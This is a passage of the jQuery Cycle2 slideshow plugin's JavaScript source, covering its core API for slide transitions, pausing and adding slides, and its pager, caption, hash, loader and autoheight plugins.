if (tx && $.isFunction(tx.postInit))
tx.postInit( opts );
},
initSlideshow: function() {
var opts = this.opts();
var pauseObj = opts.container;
var slideOpts;
opts.API.calcFirstSlide();
if ( opts.container.css('position') == 'static' )
opts.container.css('position', 'relative');
$(opts.slides[opts.currSlide]).css('opacity',1).show();
opts.API.stackSlides( opts.slides[opts.currSlide], opts.slides[opts.nextSlide], !opts.reverse );
if ( opts.pauseOnHover ) {
// allow pauseOnHover to specify an element
if ( opts.pauseOnHover !== true )
pauseObj = $( opts.pauseOnHover );
pauseObj.hover(
function(){ opts.API.pause( true ); },
function(){ opts.API.resume( true ); }
);
}
// stage initial transition
if ( opts.timeout ) {
slideOpts = opts.API.getSlideOpts( opts.currSlide );
opts.API.queueTransition( slideOpts, slideOpts.timeout + opts.delay );
}
opts._initialized = true;
opts.API.updateView( true );
opts.API.trigger('cycle-initialized', [ opts ]);
opts.API.postInitSlideshow();
},
pause: function( hover ) {
var opts = this.opts(),
slideOpts = opts.API.getSlideOpts(),
alreadyPaused = opts.hoverPaused || opts.paused;
if ( hover )
opts.hoverPaused = true;
else
opts.paused = true;
if ( ! alreadyPaused ) {
opts.container.addClass('cycle-paused');
opts.API.trigger('cycle-paused', [ opts ]).log('cycle-paused');
if ( slideOpts.timeout ) {
clearTimeout( opts.timeoutId );
opts.timeoutId = 0;
// determine how much time is left for the current slide
opts._remainingTimeout -= ( $.now() - opts._lastQueue );
if ( opts._remainingTimeout < 0 || isNaN(opts._remainingTimeout) )
opts._remainingTimeout = undefined;
}
}
},
resume: function( hover ) {
var opts = this.opts(),
alreadyResumed = !opts.hoverPaused && !opts.paused,
remaining;
if ( hover )
opts.hoverPaused = false;
else
opts.paused = false;
if ( ! alreadyResumed ) {
opts.container.removeClass('cycle-paused');
// #gh-230; if an animation is in progress then don't queue a new transition; it will
// happen naturally
if ( opts.slides.filter(':animated').length === 0 )
opts.API.queueTransition( opts.API.getSlideOpts(), opts._remainingTimeout );
opts.API.trigger('cycle-resumed', [ opts, opts._remainingTimeout ] ).log('cycle-resumed');
}
},
add: function( slides, prepend ) {
var opts = this.opts();
var oldSlideCount = opts.slideCount;
var startSlideshow = false;
var len;
if ( $.type(slides) == 'string')
slides = $.trim( slides );
$( slides ).each(function(i) {
var slideOpts;
var slide = $(this);
if ( prepend )
opts.container.prepend( slide );
else
opts.container.append( slide );
opts.slideCount++;
slideOpts = opts.API.buildSlideOpts( slide );
if ( prepend )
opts.slides = $( slide ).add( opts.slides );
else
opts.slides = opts.slides.add( slide );
opts.API.initSlide( slideOpts, slide, --opts._maxZ );
slide.data('cycle.opts', slideOpts);
opts.API.trigger('cycle-slide-added', [ opts, slideOpts, slide ]);
});
opts.API.updateView( true );
startSlideshow = opts._preInitialized && (oldSlideCount < 2 && opts.slideCount >= 1);
if ( startSlideshow ) {
if ( !opts._initialized )
opts.API.initSlideshow();
else if ( opts.timeout ) {
len = opts.slides.length;
opts.nextSlide = opts.reverse ? len - 1 : 1;
if ( !opts.timeoutId ) {
opts.API.queueTransition( opts );
}
}
}
},
calcFirstSlide: function() {
var opts = this.opts();
var firstSlideIndex;
firstSlideIndex = parseInt( opts.startingSlide || 0, 10 );
if (firstSlideIndex >= opts.slides.length || firstSlideIndex < 0)
firstSlideIndex = 0;
opts.currSlide = firstSlideIndex;
if ( opts.reverse ) {
opts.nextSlide = firstSlideIndex - 1;
if (opts.nextSlide < 0)
opts.nextSlide = opts.slides.length - 1;
}
else {
opts.nextSlide = firstSlideIndex + 1;
if (opts.nextSlide == opts.slides.length)
opts.nextSlide = 0;
}
},
calcNextSlide: function() {
var opts = this.opts();
var roll;
if ( opts.reverse ) {
roll = (opts.nextSlide - 1) < 0;
opts.nextSlide = roll ? opts.slideCount - 1 : opts.nextSlide-1;
opts.currSlide = roll ? 0 : opts.nextSlide+1;
}
else {
roll = (opts.nextSlide + 1) == opts.slides.length;
opts.nextSlide = roll ? 0 : opts.nextSlide+1;
opts.currSlide = roll ? opts.slides.length-1 : opts.nextSlide-1;
}
},
calcTx: function( slideOpts, manual ) {
var opts = slideOpts;
var tx;
if ( manual && opts.manualFx )
tx = $.fn.cycle.transitions[opts.manualFx];
if ( !tx )
tx = $.fn.cycle.transitions[opts.fx];
if (!tx) {
tx = $.fn.cycle.transitions.fade;
opts.API.log('Transition "' + opts.fx + '" not found. Using fade.');
}
return tx;
},
prepareTx: function( manual, fwd ) {
var opts = this.opts();
var after, curr, next, slideOpts, tx;
if ( opts.slideCount < 2 ) {
opts.timeoutId = 0;
return;
}
if ( manual && ( !opts.busy || opts.manualTrump ) ) {
opts.API.stopTransition();
opts.busy = false;
clearTimeout(opts.timeoutId);
opts.timeoutId = 0;
}
if ( opts.busy )
return;
if ( opts.timeoutId === 0 && !manual )
return;
curr = opts.slides[opts.currSlide];
next = opts.slides[opts.nextSlide];
slideOpts = opts.API.getSlideOpts( opts.nextSlide );
tx = opts.API.calcTx( slideOpts, manual );
opts._tx = tx;
if ( manual && slideOpts.manualSpeed !== undefined )
slideOpts.speed = slideOpts.manualSpeed;
// if ( opts.nextSlide === opts.currSlide )
// opts.API.calcNextSlide();
// ensure that:
// 1. advancing to a different slide
// 2. this is either a manual event (prev/next, pager, cmd) or
// a timer event and slideshow is not paused
if ( opts.nextSlide != opts.currSlide &&
(manual || (!opts.paused && !opts.hoverPaused && opts.timeout) )) { // #62
opts.API.trigger('cycle-before', [ slideOpts, curr, next, fwd ]);
if ( tx.before )
tx.before( slideOpts, curr, next, fwd );
after = function() {
opts.busy = false;
// #76; bail if slideshow has been destroyed
if (! opts.container.data( 'cycle.opts' ) )
return;
if (tx.after)
tx.after( slideOpts, curr, next, fwd );
opts.API.trigger('cycle-after', [ slideOpts, curr, next, fwd ]);
opts.API.queueTransition( slideOpts);
opts.API.updateView( true );
};
opts.busy = true;
if (tx.transition)
tx.transition(slideOpts, curr, next, fwd, after);
else
opts.API.doTransition( slideOpts, curr, next, fwd, after);
opts.API.calcNextSlide();
opts.API.updateView();
} else {
opts.API.queueTransition( slideOpts );
}
},
// perform the actual animation
doTransition: function( slideOpts, currEl, nextEl, fwd, callback) {
var opts = slideOpts;
var curr = $(currEl), next = $(nextEl);
var fn = function() {
// make sure animIn has something so that callback doesn't trigger immediately
next.animate(opts.animIn || { opacity: 1}, opts.speed, opts.easeIn || opts.easing, callback);
};
next.css(opts.cssBefore || {});
curr.animate(opts.animOut || {}, opts.speed, opts.easeOut || opts.easing, function() {
curr.css(opts.cssAfter || {});
if (!opts.sync) {
fn();
}
});
if (opts.sync) {
fn();
}
},
queueTransition: function( slideOpts, specificTimeout ) {
var opts = this.opts();
var timeout = specificTimeout !== undefined ? specificTimeout : slideOpts.timeout;
if (opts.nextSlide === 0 && --opts.loop === 0) {
opts.API.log('terminating; loop=0');
opts.timeout = 0;
if ( timeout ) {
setTimeout(function() {
opts.API.trigger('cycle-finished', [ opts ]);
}, timeout);
}
else {
opts.API.trigger('cycle-finished', [ opts ]);
}
// reset nextSlide
opts.nextSlide = opts.currSlide;
return;
}
if ( timeout ) {
opts._lastQueue = $.now();
if ( specificTimeout === undefined )
opts._remainingTimeout = slideOpts.timeout;
if ( !opts.paused && ! opts.hoverPaused ) {
opts.timeoutId = setTimeout(function() {
opts.API.prepareTx( false, !opts.reverse );
}, timeout );
}
}
},
stopTransition: function() {
var opts = this.opts();
if ( opts.slides.filter(':animated').length ) {
opts.slides.stop(false, true);
opts.API.trigger('cycle-transition-stopped', [ opts ]);
}
if ( opts._tx && opts._tx.stopTransition )
opts._tx.stopTransition( opts );
},
// advance slide forward or back
advanceSlide: function( val ) {
var opts = this.opts();
clearTimeout(opts.timeoutId);
opts.timeoutId = 0;
opts.nextSlide = opts.currSlide + val;
if (opts.nextSlide < 0)
opts.nextSlide = opts.slides.length - 1;
else if (opts.nextSlide >= opts.slides.length)
opts.nextSlide = 0;
opts.API.prepareTx( true, val >= 0 );
return false;
},
buildSlideOpts: function( slide ) {
var opts = this.opts();
var val, shortName;
var slideOpts = slide.data() || {};
for (var p in slideOpts) {
// allow props to be accessed sans 'cycle' prefix and log the overrides
if (slideOpts.hasOwnProperty(p) && /^cycle[A-Z]+/.test(p) ) {
val = slideOpts[p];
shortName = p.match(/^cycle(.*)/)[1].replace(/^[A-Z]/, lowerCase);
opts.API.log('['+(opts.slideCount-1)+']', shortName+':', val, '('+typeof val +')');
slideOpts[shortName] = val;
}
}
slideOpts = $.extend( {}, $.fn.cycle.defaults, opts, slideOpts );
slideOpts.slideNum = opts.slideCount;
try {
// these props should always be read from the master state object
delete slideOpts.API;
delete slideOpts.slideCount;
delete slideOpts.currSlide;
delete slideOpts.nextSlide;
delete slideOpts.slides;
} catch(e) {
// no op
}
return slideOpts;
},
getSlideOpts: function( index ) {
var opts = this.opts();
if ( index === undefined )
index = opts.currSlide;
var slide = opts.slides[index];
var slideOpts = $(slide).data('cycle.opts');
return $.extend( {}, opts, slideOpts );
},
initSlide: function( slideOpts, slide, suggestedZindex ) {
var opts = this.opts();
slide.css( slideOpts.slideCss || {} );
if ( suggestedZindex > 0 )
slide.css( 'zIndex', suggestedZindex );
// ensure that speed settings are sane
if ( isNaN( slideOpts.speed ) )
slideOpts.speed = $.fx.speeds[slideOpts.speed] || $.fx.speeds._default;
if ( !slideOpts.sync )
slideOpts.speed = slideOpts.speed / 2;
slide.addClass( opts.slideClass );
},
updateView: function( isAfter, isDuring ) {
var opts = this.opts();
if ( !opts._initialized )
return;
var slideOpts = opts.API.getSlideOpts();
var currSlide = opts.slides[ opts.currSlide ];
if ( ! isAfter && isDuring !== true ) {
opts.API.trigger('cycle-update-view-before', [ opts, slideOpts, currSlide ]);
if ( opts.updateView < 0 )
return;
}
if ( opts.slideActiveClass ) {
opts.slides.removeClass( opts.slideActiveClass )
.eq( opts.currSlide ).addClass( opts.slideActiveClass );
}
if ( isAfter && opts.hideNonActive )
opts.slides.filter( ':not(.' + opts.slideActiveClass + ')' ).hide();
opts.API.trigger('cycle-update-view', [ opts, slideOpts, currSlide, isAfter ]);
if ( isAfter )
opts.API.trigger('cycle-update-view-after', [ opts, slideOpts, currSlide ]);
},
getComponent: function( name ) {
var opts = this.opts();
var selector = opts[name];
if (typeof selector === 'string') {
// if selector is a child, sibling combinator, adjancent selector then use find, otherwise query full dom
return (/^\s*[\>|\+|~]/).test( selector ) ? opts.container.find( selector ) : $( selector );
}
if (selector.jquery)
return selector;
return $(selector);
},
stackSlides: function( curr, next, fwd ) {
var opts = this.opts();
if ( !curr ) {
curr = opts.slides[opts.currSlide];
next = opts.slides[opts.nextSlide];
fwd = !opts.reverse;
}
// reset the zIndex for the common case:
// curr slide on top, next slide beneath, and the rest in order to be shown
$(curr).css('zIndex', opts.maxZ);
var i;
var z = opts.maxZ - 2;
var len = opts.slideCount;
if (fwd) {
for ( i = opts.currSlide + 1; i < len; i++ )
$( opts.slides[i] ).css( 'zIndex', z-- );
for ( i = 0; i < opts.currSlide; i++ )
$( opts.slides[i] ).css( 'zIndex', z-- );
}
else {
for ( i = opts.currSlide - 1; i >= 0; i-- )
$( opts.slides[i] ).css( 'zIndex', z-- );
for ( i = len - 1; i > opts.currSlide; i-- )
$( opts.slides[i] ).css( 'zIndex', z-- );
}
$(next).css('zIndex', opts.maxZ - 1);
},
getSlideIndex: function( el ) {
return this.opts().slides.index( el );
}
}; // API
// default logger
$.fn.cycle.log = function log() {
/*global console:true */
if (window.console && console.log)
console.log('[cycle2] ' + Array.prototype.join.call(arguments, ' ') );
};
$.fn.cycle.version = function() { return 'Cycle2: ' + version; };
// helper functions
function lowerCase(s) {
return (s || '').toLowerCase();
}
// expose transition object
$.fn.cycle.transitions = {
custom: {
},
none: {
before: function( opts, curr, next, fwd ) {
opts.API.stackSlides( next, curr, fwd );
opts.cssBefore = { opacity: 1, display: 'block' };
}
},
fade: {
before: function( opts, curr, next, fwd ) {
var css = opts.API.getSlideOpts( opts.nextSlide ).slideCss || {};
opts.API.stackSlides( curr, next, fwd );
opts.cssBefore = $.extend(css, { opacity: 0, display: 'block' });
opts.animIn = { opacity: 1 };
opts.animOut = { opacity: 0 };
}
},
fadeout: {
before: function( opts , curr, next, fwd ) {
var css = opts.API.getSlideOpts( opts.nextSlide ).slideCss || {};
opts.API.stackSlides( curr, next, fwd );
opts.cssBefore = $.extend(css, { opacity: 1, display: 'block' });
opts.animOut = { opacity: 0 };
}
},
scrollHorz: {
before: function( opts, curr, next, fwd ) {
opts.API.stackSlides( curr, next, fwd );
var w = opts.container.css('overflow','hidden').width();
opts.cssBefore = { left: fwd ? w : - w, top: 0, opacity: 1, display: 'block' };
opts.cssAfter = { zIndex: opts._maxZ - 2, left: 0 };
opts.animIn = { left: 0 };
opts.animOut = { left: fwd ? -w : w };
}
}
};
// @see: http://jquery.malsup.com/cycle2/api
$.fn.cycle.defaults = {
allowWrap: true,
autoSelector: '.cycle-slideshow[data-cycle-auto-init!=false]',
delay: 0,
easing: null,
fx: 'fade',
hideNonActive: true,
loop: 0,
manualFx: undefined,
manualSpeed: undefined,
manualTrump: true,
maxZ: 100,
pauseOnHover: false,
reverse: false,
slideActiveClass: 'cycle-slide-active',
slideClass: 'cycle-slide',
slideCss: { position: 'absolute', top: 0, left: 0 },
slides: '> img',
speed: 500,
startingSlide: 0,
sync: true,
timeout: 4000,
updateView: -1
};
// automatically find and run slideshows
$(document).ready(function() {
$( $.fn.cycle.defaults.autoSelector ).cycle();
});
})(jQuery);
/*! Cycle2 autoheight plugin; Copyright (c) M.Alsup, 2012; version: 20130304 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
autoHeight: 0 // setting this option to false disables autoHeight logic
});
$(document).on( 'cycle-initialized', function( e, opts ) {
var autoHeight = opts.autoHeight;
var t = $.type( autoHeight );
var resizeThrottle = null;
var ratio;
if ( t !== 'string' && t !== 'number' )
return;
// bind events
opts.container.on( 'cycle-slide-added cycle-slide-removed', initAutoHeight );
opts.container.on( 'cycle-destroyed', onDestroy );
if ( autoHeight == 'container' ) {
opts.container.on( 'cycle-before', onBefore );
}
else if ( t === 'string' && /\d+\:\d+/.test( autoHeight ) ) {
// use ratio
ratio = autoHeight.match(/(\d+)\:(\d+)/);
ratio = ratio[1] / ratio[2];
opts._autoHeightRatio = ratio;
}
// if autoHeight is a number then we don't need to recalculate the sentinel
// index on resize
if ( t !== 'number' ) {
// bind unique resize handler per slideshow (so it can be 'off-ed' in onDestroy)
opts._autoHeightOnResize = function () {
clearTimeout( resizeThrottle );
resizeThrottle = setTimeout( onResize, 50 );
};
$(window).on( 'resize orientationchange', opts._autoHeightOnResize );
}
setTimeout( onResize, 30 );
function onResize() {
initAutoHeight( e, opts );
}
});
function initAutoHeight( e, opts ) {
var clone, height, sentinelIndex;
var autoHeight = opts.autoHeight;
if ( autoHeight == 'container' ) {
height = $( opts.slides[ opts.currSlide ] ).outerHeight();
opts.container.height( height );
}
else if ( opts._autoHeightRatio ) {
opts.container.height( opts.container.width() / opts._autoHeightRatio );
}
else if ( autoHeight === 'calc' || ( $.type( autoHeight ) == 'number' && autoHeight >= 0 ) ) {
if ( autoHeight === 'calc' )
sentinelIndex = calcSentinelIndex( e, opts );
else if ( autoHeight >= opts.slides.length )
sentinelIndex = 0;
else
sentinelIndex = autoHeight;
// only recreate sentinel if index is different
if ( sentinelIndex == opts._sentinelIndex )
return;
opts._sentinelIndex = sentinelIndex;
if ( opts._sentinel )
opts._sentinel.remove();
// clone existing slide as sentinel
clone = $( opts.slides[ sentinelIndex ].cloneNode(true) );
// #50; remove special attributes from cloned content
clone.removeAttr( 'id name rel' ).find( '[id],[name],[rel]' ).removeAttr( 'id name rel' );
clone.css({
position: 'static',
visibility: 'hidden',
display: 'block'
}).prependTo( opts.container ).addClass('cycle-sentinel cycle-slide').removeClass('cycle-slide-active');
clone.find( '*' ).css( 'visibility', 'hidden' );
opts._sentinel = clone;
}
}
function calcSentinelIndex( e, opts ) {
var index = 0, max = -1;
// calculate tallest slide index
opts.slides.each(function(i) {
var h = $(this).height();
if ( h > max ) {
max = h;
index = i;
}
});
return index;
}
function onBefore( e, opts, outgoing, incoming, forward ) {
var h = $(incoming).outerHeight();
var duration = opts.sync ? opts.speed / 2 : opts.speed;
opts.container.animate( { height: h }, duration );
}
function onDestroy( e, opts ) {
if ( opts._autoHeightOnResize ) {
$(window).off( 'resize orientationchange', opts._autoHeightOnResize );
opts._autoHeightOnResize = null;
}
opts.container.off( 'cycle-slide-added cycle-slide-removed', initAutoHeight );
opts.container.off( 'cycle-destroyed', onDestroy );
opts.container.off( 'cycle-before', onBefore );
if ( opts._sentinel ) {
opts._sentinel.remove();
opts._sentinel = null;
}
}
})(jQuery);
/*! caption plugin for Cycle2; version: 20130306 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
caption: '> .cycle-caption',
captionTemplate: '{{slideNum}} / {{slideCount}}',
overlay: '> .cycle-overlay',
overlayTemplate: '<div>{{title}}</div><div>{{desc}}</div>',
captionModule: 'caption'
});
$(document).on( 'cycle-update-view', function( e, opts, slideOpts, currSlide ) {
if ( opts.captionModule !== 'caption' )
return;
var el;
$.each(['caption','overlay'], function() {
var name = this;
var template = slideOpts[name+'Template'];
var el = opts.API.getComponent( name );
if( el.length && template ) {
el.html( opts.API.tmpl( template, slideOpts, opts, currSlide ) );
el.show();
}
else {
el.hide();
}
});
});
$(document).on( 'cycle-destroyed', function( e, opts ) {
var el;
$.each(['caption','overlay'], function() {
var name = this, template = opts[name+'Template'];
if ( opts[name] && template ) {
el = opts.API.getComponent( 'caption' );
el.empty();
}
});
});
})(jQuery);
/*! command plugin for Cycle2; version: 20130707 */
(function($) {
"use strict";
var c2 = $.fn.cycle;
$.fn.cycle = function( options ) {
var cmd, cmdFn, opts;
var args = $.makeArray( arguments );
if ( $.type( options ) == 'number' ) {
return this.cycle( 'goto', options );
}
if ( $.type( options ) == 'string' ) {
return this.each(function() {
var cmdArgs;
cmd = options;
opts = $(this).data('cycle.opts');
if ( opts === undefined ) {
c2.log('slideshow must be initialized before sending commands; "' + cmd + '" ignored');
return;
}
else {
cmd = cmd == 'goto' ? 'jump' : cmd; // issue #3; change 'goto' to 'jump' internally
cmdFn = opts.API[ cmd ];
if ( $.isFunction( cmdFn )) {
cmdArgs = $.makeArray( args );
cmdArgs.shift();
return cmdFn.apply( opts.API, cmdArgs );
}
else {
c2.log( 'unknown command: ', cmd );
}
}
});
}
else {
return c2.apply( this, arguments );
}
};
// copy props
$.extend( $.fn.cycle, c2 );
$.extend( c2.API, {
next: function() {
var opts = this.opts();
if ( opts.busy && ! opts.manualTrump )
return;
var count = opts.reverse ? -1 : 1;
if ( opts.allowWrap === false && ( opts.currSlide + count ) >= opts.slideCount )
return;
opts.API.advanceSlide( count );
opts.API.trigger('cycle-next', [ opts ]).log('cycle-next');
},
prev: function() {
var opts = this.opts();
if ( opts.busy && ! opts.manualTrump )
return;
var count = opts.reverse ? 1 : -1;
if ( opts.allowWrap === false && ( opts.currSlide + count ) < 0 )
return;
opts.API.advanceSlide( count );
opts.API.trigger('cycle-prev', [ opts ]).log('cycle-prev');
},
destroy: function() {
this.stop(); //#204
var opts = this.opts();
var clean = $.isFunction( $._data ) ? $._data : $.noop; // hack for #184 and #201
clearTimeout(opts.timeoutId);
opts.timeoutId = 0;
opts.API.stop();
opts.API.trigger( 'cycle-destroyed', [ opts ] ).log('cycle-destroyed');
opts.container.removeData();
clean( opts.container[0], 'parsedAttrs', false );
// #75; remove inline styles
if ( ! opts.retainStylesOnDestroy ) {
opts.container.removeAttr( 'style' );
opts.slides.removeAttr( 'style' );
opts.slides.removeClass( opts.slideActiveClass );
}
opts.slides.each(function() {
$(this).removeData();
clean( this, 'parsedAttrs', false );
});
},
jump: function( index ) {
// go to the requested slide
var fwd;
var opts = this.opts();
if ( opts.busy && ! opts.manualTrump )
return;
var num = parseInt( index, 10 );
if (isNaN(num) || num < 0 || num >= opts.slides.length) {
opts.API.log('goto: invalid slide index: ' + num);
return;
}
if (num == opts.currSlide) {
opts.API.log('goto: skipping, already on slide', num);
return;
}
opts.nextSlide = num;
clearTimeout(opts.timeoutId);
opts.timeoutId = 0;
opts.API.log('goto: ', num, ' (zero-index)');
fwd = opts.currSlide < opts.nextSlide;
opts.API.prepareTx( true, fwd );
},
stop: function() {
var opts = this.opts();
var pauseObj = opts.container;
clearTimeout(opts.timeoutId);
opts.timeoutId = 0;
opts.API.stopTransition();
if ( opts.pauseOnHover ) {
if ( opts.pauseOnHover !== true )
pauseObj = $( opts.pauseOnHover );
pauseObj.off('mouseenter mouseleave');
}
opts.API.trigger('cycle-stopped', [ opts ]).log('cycle-stopped');
},
reinit: function() {
var opts = this.opts();
opts.API.destroy();
opts.container.cycle();
},
remove: function( index ) {
var opts = this.opts();
var slide, slideToRemove, slides = [], slideNum = 1;
for ( var i=0; i < opts.slides.length; i++ ) {
slide = opts.slides[i];
if ( i == index ) {
slideToRemove = slide;
}
else {
slides.push( slide );
$( slide ).data('cycle.opts').slideNum = slideNum;
slideNum++;
}
}
if ( slideToRemove ) {
opts.slides = $( slides );
opts.slideCount--;
$( slideToRemove ).remove();
if (index == opts.currSlide)
opts.API.advanceSlide( 1 );
else if ( index < opts.currSlide )
opts.currSlide--;
else
opts.currSlide++;
opts.API.trigger('cycle-slide-removed', [ opts, index, slideToRemove ]).log('cycle-slide-removed');
opts.API.updateView();
}
}
});
// listen for clicks on elements with data-cycle-cmd attribute
$(document).on('click.cycle', '[data-cycle-cmd]', function(e) {
// issue cycle command
e.preventDefault();
var el = $(this);
var command = el.data('cycle-cmd');
var context = el.data('cycle-context') || '.cycle-slideshow';
$(context).cycle(command, el.data('cycle-arg'));
});
})(jQuery);
/*! hash plugin for Cycle2; version: 20130905 */
(function($) {
"use strict";
$(document).on( 'cycle-pre-initialize', function( e, opts ) {
onHashChange( opts, true );
opts._onHashChange = function() {
onHashChange( opts, false );
};
$( window ).on( 'hashchange', opts._onHashChange);
});
$(document).on( 'cycle-update-view', function( e, opts, slideOpts ) {
if ( slideOpts.hash && ( '#' + slideOpts.hash ) != window.location.hash ) {
opts._hashFence = true;
window.location.hash = slideOpts.hash;
}
});
$(document).on( 'cycle-destroyed', function( e, opts) {
if ( opts._onHashChange ) {
$( window ).off( 'hashchange', opts._onHashChange );
}
});
function onHashChange( opts, setStartingSlide ) {
var hash;
if ( opts._hashFence ) {
opts._hashFence = false;
return;
}
hash = window.location.hash.substring(1);
opts.slides.each(function(i) {
if ( $(this).data( 'cycle-hash' ) == hash ) {
if ( setStartingSlide === true ) {
opts.startingSlide = i;
}
else {
var fwd = opts.currSlide < i;
opts.nextSlide = i;
opts.API.prepareTx( true, fwd );
}
return false;
}
});
}
})(jQuery);
/*! loader plugin for Cycle2; version: 20130307 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
loader: false
});
$(document).on( 'cycle-bootstrap', function( e, opts ) {
var addFn;
if ( !opts.loader )
return;
// override API.add for this slideshow
addFn = opts.API.add;
opts.API.add = add;
function add( slides, prepend ) {
var slideArr = [];
if ( $.type( slides ) == 'string' )
slides = $.trim( slides );
else if ( $.type( slides) === 'array' ) {
for (var i=0; i < slides.length; i++ )
slides[i] = $(slides[i])[0];
}
slides = $( slides );
var slideCount = slides.length;
if ( ! slideCount )
return;
slides.hide().appendTo('body').each(function(i) { // appendTo fixes #56
var count = 0;
var slide = $(this);
var images = slide.is('img') ? slide : slide.find('img');
slide.data('index', i);
// allow some images to be marked as unimportant (and filter out images w/o src value)
images = images.filter(':not(.cycle-loader-ignore)').filter(':not([src=""])');
if ( ! images.length ) {
--slideCount;
slideArr.push( slide );
return;
}
count = images.length;
images.each(function() {
// add images that are already loaded
if ( this.complete ) {
imageLoaded();
}
else {
$(this).load(function() {
imageLoaded();
}).error(function() {
if ( --count === 0 ) {
// ignore this slide
opts.API.log('slide skipped; img not loaded:', this.src);
if ( --slideCount === 0 && opts.loader == 'wait') {
addFn.apply( opts.API, [ slideArr, prepend ] );
}
}
});
}
});
function imageLoaded() {
if ( --count === 0 ) {
--slideCount;
addSlide( slide );
}
}
});
if ( slideCount )
opts.container.addClass('cycle-loading');
function addSlide( slide ) {
var curr;
if ( opts.loader == 'wait' ) {
slideArr.push( slide );
if ( slideCount === 0 ) {
// #59; sort slides into original markup order
slideArr.sort( sorter );
addFn.apply( opts.API, [ slideArr, prepend ] );
opts.container.removeClass('cycle-loading');
}
}
else {
curr = $(opts.slides[opts.currSlide]);
addFn.apply( opts.API, [ slide, prepend ] );
curr.show();
opts.container.removeClass('cycle-loading');
}
}
function sorter(a, b) {
return a.data('index') - b.data('index');
}
}
});
})(jQuery);
/*! pager plugin for Cycle2; version: 20130525 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
pager: '> .cycle-pager',
pagerActiveClass: 'cycle-pager-active',
pagerEvent: 'click.cycle',
pagerTemplate: '<span>•</span>'
});
$(document).on( 'cycle-bootstrap', function( e, opts, API ) {
// add method to API
API.buildPagerLink = buildPagerLink;
});
$(document).on( 'cycle-slide-added', function( e, opts, slideOpts, slideAdded ) {
if ( opts.pager ) {
opts.API.buildPagerLink ( opts, slideOpts, slideAdded );
opts.API.page = page;
}
});
$(document).on( 'cycle-slide-removed', function( e, opts, index, slideRemoved ) {
if ( opts.pager ) {
var pagers = opts.API.getComponent( 'pager' );
pagers.each(function() {
var pager = $(this);
$( pager.children()[index] ).remove();
});
}
});
$(document).on( 'cycle-update-view', function( e, opts, slideOpts ) {
var pagers;
if ( opts.pager ) {
pagers = opts.API.getComponent( 'pager' );
pagers.each(function() {
$(this).children().removeClass( opts.pagerActiveClass )
.eq( opts.currSlide ).addClass( opts.pagerActiveClass );
});
}
});
$(document).on( 'cycle-destroyed', function( e, opts ) {
var pager = opts.API.getComponent( 'pager' );
if ( pager ) {
pager.children().off( opts.pagerEvent ); // #202
if ( opts.pagerTemplate )
pager.empty();
}
});
function buildPagerLink( opts, slideOpts, slide ) {
var pagerLink;
var pagers = opts.API.getComponent( 'pager' );
pagers.each(function() {
var pager = $(this);
if ( slideOpts.pagerTemplate ) {
var markup = opts.API.tmpl( slideOpts.pagerTemplate, slideOpts, opts, slide[0] );
pagerLink = $( markup ).appendTo( pager );
}
else {
pagerLink = pager.children().eq( opts.slideCount - 1 );
}
pagerLink.on( opts.pagerEvent, function(e) {
e.preventDefault();
opts.API.page( pager, e.currentTarget);
});
});
}
function page( pager, target ) {
/*jshint validthis:true */
var opts = this.opts();
if ( opts.busy && ! opts.manualTrump )
return;
var index = pager.children().index( target );
var nextSlide = index;
var fwd = opts.currSlide < nextSlide;
if (opts.currSlide == nextSlide) {
return; // no op, clicked pager for the currently displayed slide
}
opts.nextSlide = nextSlide;
opts.API.prepareTx( true, fwd );
opts.API.trigger('cycle-pager-activated', [opts, pager, target ]);
}
})(jQuery);
/*! prevnext plugin for Cycle2; version: 20130709 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
next: '> .cycle-next',
nextEvent: 'click.cycle',
disabledClass: 'disabled',
prev: '> .cycle-prev',
prevEvent: 'click.cycle',
swipe: false
});
$(document).on( 'cycle-initialized', function( e, opts ) {
opts.API.getComponent( 'next' ).on( opts.nextEvent, function(e) {
e.preventDefault();
opts.API.next();
});
opts.API.getComponent( 'prev' ).on( opts.prevEvent, function(e) {
e.preventDefault();
opts.API.prev();
});
if ( opts.swipe ) {
var nextEvent = opts.swipeVert ? 'swipeUp.cycle' : 'swipeLeft.cycle swipeleft.cycle';
var prevEvent = opts.swipeVert ? 'swipeDown.cycle' : 'swipeRight.cycle swiperight.cycle';
opts.container.on( nextEvent, function(e) {
opts.API.next();
});
opts.container.on( prevEvent, function() {
opts.API.prev();
});
}
});
$(document).on( 'cycle-update-view', function( e, opts, slideOpts, currSlide ) {
if ( opts.allowWrap )
return;
var cls = opts.disabledClass;
var next = opts.API.getComponent( 'next' );
var prev = opts.API.getComponent( 'prev' );
var prevBoundry = opts._prevBoundry || 0;
var nextBoundry = (opts._nextBoundry !== undefined)?opts._nextBoundry:opts.slideCount - 1;
if ( opts.currSlide == nextBoundry )
next.addClass( cls ).prop( 'disabled', true );
else
next.removeClass( cls ).prop( 'disabled', false );
if ( opts.currSlide === prevBoundry )
prev.addClass( cls ).prop( 'disabled', true );
else
prev.removeClass( cls ).prop( 'disabled', false );
});
$(document).on( 'cycle-destroyed', function( e, opts ) {
opts.API.getComponent( 'prev' ).off( opts.nextEvent );
opts.API.getComponent( 'next' ).off( opts.prevEvent );
opts.container.off( 'swipeleft.cycle swiperight.cycle swipeLeft.cycle swipeRight.cycle swipeUp.cycle swipeDown.cycle' );
});
})(jQuery);
/*! progressive loader plugin for Cycle2; version: 20130315 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
progressive: false
});
$(document).on( 'cycle-pre-initialize', function( e, opts ) {
if ( !opts.progressive )
return;
var API = opts.API;
var nextFn = API.next;
var prevFn = API.prev;
var prepareTxFn = API.prepareTx;
var type = $.type( opts.progressive );
var slides, scriptEl;
if ( type == 'array' ) {
slides = opts.progressive;
}
else if ($.isFunction( opts.progressive ) ) {
slides = opts.progressive( opts );
}
else if ( type == 'string' ) {
scriptEl = $( opts.progressive );
slides = $.trim( scriptEl.html() );
if ( !slides )
return;
// is it json array?
if ( /^(\[)/.test( slides ) ) {
try {
slides = $.parseJSON( slides );
}
catch(err) {
API.log( 'error parsing progressive slides', err );
return;
}
}
else {
// plain text, split on delimeter
slides = slides.split( new RegExp( scriptEl.data('cycle-split') || '\n') );
// #95; look for empty slide
if ( ! slides[ slides.length - 1 ] )
slides.pop();
}
}
if ( prepareTxFn ) {
API.prepareTx = function( manual, fwd ) {
var index, slide;
